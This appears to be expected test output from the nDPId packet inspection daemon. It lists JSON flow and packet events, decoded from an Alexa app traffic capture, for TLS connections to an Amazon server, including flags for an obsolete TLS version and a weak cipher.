+00424{"flow_id":81,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1252,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":134152,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoHBVAAOcGg+00XuiGrBAq2AG7sofzK0IraXeDcFAQf95lpwAAAAAAAAAA"} +00415{"flow_id":85,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1255,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":329636,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo3dBAAEAGaTKsECrYNF7ohrKLAbvdeYITB3nM31ARAVfSggAA"} +00423{"flow_id":85,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1256,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":474183,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoJzdAAOcGeMs0XuiGrBAq2AG7sosHeczf3XmCFFARgABT2AAAAAAAAAAA"} +00415{"flow_id":85,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1259,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":478345,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo3dFAAEAGaTGsECrYNF7ohrKLAbvdeYIUB3nM4FAQAVfSgQAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1266,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1490976088605,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45709,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1266,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":605994,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA81ixAAEAGcMKsECrYNF7ohrKNAbu9HLbAAAAAAKAC\/\/\/KKQAAAgQFtAQCCAoA9mDsAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1267,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1490976088631,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45710,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1267,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":631582,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8NFtAAEAGEpSsECrYNF7ohrKOAbuEplS0AAAAAKAC\/\/9kqAAAAgQFtAQCCAoA9mDvAAAAAAEDAwg="} +00428{"flow_id":87,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1268,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":845815,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwfFZAAOcGI6Q0XuiGrBAq2AG7so2w2ze+vRy2wXASH\/5ffQAAAgQFtAEDAwY="} +00428{"flow_id":88,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1270,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":845997,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw3pBAAOcGwWk0XuiGrBAq2AG7so5AYHD5hKZUtXASH\/4xPwAAAgQFtAEDAwY="} +00415{"flow_id":87,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1272,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":847985,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo1i1AAEAGcNWsECrYNF7ohrKNAbu9HLbBsNs3v1AQAVep7gAA"} +00740{"flow_id":87,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1273,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":849989,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX1i5AAEAGb+WsECrYNF7ohrKNAbu9HLbBsNs3v1AYAVePOwAAFgMBAOoBAADmAwP1YthODLslBmCd7PjY7YVBLxQl6oZDQnpqrQA1aXZumyB4kgfiZLrEZoIvfOT\/tQMGZLL4w9FhfVsGJHEZL4q82wAg+vrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB92toAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACGpqAB0AFwAYSkoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1273,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":87,"flow_packet_id":4,"flow_first_seen":1490976088605,"flow_last_seen":1490976088849,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45709,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00415{"flow_id":88,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1274,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":850651,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoNFxAAEAGEqesECrYNF7ohrKOAbuEplS1QGBw+lAQAVd7sAAA"} +00739{"flow_id":88,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1276,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":854312,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXNF1AAEAGEbesECrYNF7ohrKOAbuEplS1QGBw+lAYAVeALwAAFgMBAOoBAADmAwO2qvjWcAzn6foPrm6RG05xGgv+E5HiiVFKOX3z9RkdZCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgurrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9+voAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACKqqAB0AFwAY2toAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1276,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":88,"flow_packet_id":4,"flow_first_seen":1490976088631,"flow_last_seen":1490976088854,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45710,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00446{"flow_id":84,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1279,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":880204,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8m\/dAAEAGPiKsECrYCsl+8Z0yH5CNbMQpAAAAAKAC\/\/93BQAAAgQFtAQCCAoA9mEIAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1280,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1490976088937,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45711,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1280,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":937719,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8PTlAAEAGCbasECrYNF7ohrKPAbuIDFw0AAAAAKAC\/\/9ZowAAAgQFtAQCCAoA9mENAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1281,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1490976088958,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45712,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1281,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976088,"pkt_ts_usec":958157,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8FFJAAEAGMp2sECrYNF7ohrKQAbsDIHVdAAAAAKAC\/\/\/FYwAAAgQFtAQCCAoA9mEPAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1282,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1490976089173,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49627,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976089,"pkt_ts_usec":173728,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8Al9AAEAGRJCsECrYNF7ohsHbAFAaMGN6AAAAAKAC\/\/+yQAAAAgQFtAQCCAoA9mElAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1283,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1490976089227,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45714,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976089,"pkt_ts_usec":227335,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA835BAAEAGZ16sECrYNF7ohrKSAbuabb66AAAAAKAC\/\/\/kmwAAAgQFtAQCCAoA9mEqAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1284,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1490976089239,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45715,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1284,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976089,"pkt_ts_usec":239508,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8TPtAAEAG+fOsECrYNF7ohrKTAbvSFy3QAAAAAKAC\/\/892gAAAgQFtAQCCAoA9mErAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1285,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1490976089426,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49630,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1285,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976089,"pkt_ts_usec":426961,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8ZGdAAEAG4oesECrYNF7ohsHeAFAhsQVZAAAAAKAC\/\/8IxQAAAgQFtAQCCAoA9mE+AAAAAAEDAwg="} +00445{"flow_id":89,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1289,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976089,"pkt_ts_usec":930127,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8PTpAAEAGCbWsECrYNF7ohrKPAbuIDFw0AAAAAKAC\/\/9ZPwAAAgQFtAQCCAoA9mFxAAAAAAEDAwg="} +00447{"flow_id":90,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1290,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976089,"pkt_ts_usec":963855,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8FFNAAEAGMpysECrYNF7ohrKQAbsDIHVdAAAAAKAC\/\/\/E\/wAAAgQFtAQCCAoA9mFzAAAAAAEDAwg="} +00737{"flow_id":87,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1291,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":798,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX1i9AAEAGb+SsECrYNF7ohrKNAbu9HLbBsNs3v1AYAVePOwAAFgMBAOoBAADmAwP1YthODLslBmCd7PjY7YVBLxQl6oZDQnpqrQA1aXZumyB4kgfiZLrEZoIvfOT\/tQMGZLL4w9FhfVsGJHEZL4q82wAg+vrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB92toAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACGpqAB0AFwAYSkoAAQA="} +00738{"flow_id":88,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1292,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":16140,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXNF5AAEAGEbasECrYNF7ohrKOAbuEplS1QGBw+lAYAVeALwAAFgMBAOoBAADmAwO2qvjWcAzn6foPrm6RG05xGgv+E5HiiVFKOX3z9RkdZCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgurrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9+voAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACKqqAB0AFwAY2toAAQA="} +00423{"flow_id":88,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1293,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":37623,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo4RtAAOcGvuY0XuiGrBAq2AG7so5AYHD6hKZVpFAQf\/j8HwAAAAAAAAAA"} +00534{"flow_id":88,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1294,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":37761,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB94R1AAOcGvo80XuiGrBAq2AG7so5AYHD6hKZVpFAYf\/hPBgAAFgMBAEoCAABGAwFY3n1ZkgSfZxpUVsjukL3QGrN+GftTic3QmVujVubAeSCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1294,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":88,"flow_packet_id":7,"flow_first_seen":1490976088631,"flow_last_seen":1490976090037,"flow_tot_l4_data_len":731,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45710,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00489{"flow_id":88,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1295,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":37804,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABd4SBAAOcGvqw0XuiGrBAq2AG7so5AYHFPhKZVpFAYf\/iKdwAAFgMBADBXbXWv9x8yogHMZKeomD9A3X3jhBGhFOe49dACaecBIRmNbQNQ40Kg6WMt6HISTwA="} +00424{"flow_id":87,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1296,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":37840,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoexpAAOcGJOg0XuiGrBAq2AG7so2w2ze\/vRy3sFAQf\/gqXgAAAAAAAAAA"} +00537{"flow_id":87,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1297,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":37872,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9ex1AAOcGJJA0XuiGrBAq2AG7so2w2ze\/vRy3sFAYf\/h6IgAAFgMBAEoCAABGAwFY3n1Zaj55sS+EvodLnj8hxDSUiAwyyX\/BEsibV0fx7yB4kgfiZLrEZoIvfOT\/tQMGZLL4w9FhfVsGJHEZL4q82wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1297,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":87,"flow_packet_id":7,"flow_first_seen":1490976088605,"flow_last_seen":1490976090037,"flow_tot_l4_data_len":731,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45709,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00489{"flow_id":87,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1298,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":37931,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdeyBAAOcGJK00XuiGrBAq2AG7so2w2zgUvRy3sFAYf\/hhmwAAFgMBADAbRVoyWiOBYOT3tZ1jA+7dCzYcrialI08fyQ25bUqqMrZSfP1nFclwrDaYAGhuKLs="} +00427{"flow_id":93,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1300,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":38134,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwtKtAAOcG6040XuiGrBAq2AG7spNBzzb30hct0XASH\/5DQAAAAgQFtAEDAwY="} +00428{"flow_id":89,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1301,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":38242,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwe6ZAAOcGJFQ0XuiGrBAq2AG7so\/BFRS5iAxcNXASH\/4B4wAAAgQFtAEDAwY="} +00427{"flow_id":94,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1302,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":38290,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwa1pAAOcGNKA0XuiGrBAq2ABQwd5KW8E7IbEFWnASH\/57bQAAAgQFtAEDAwY="} 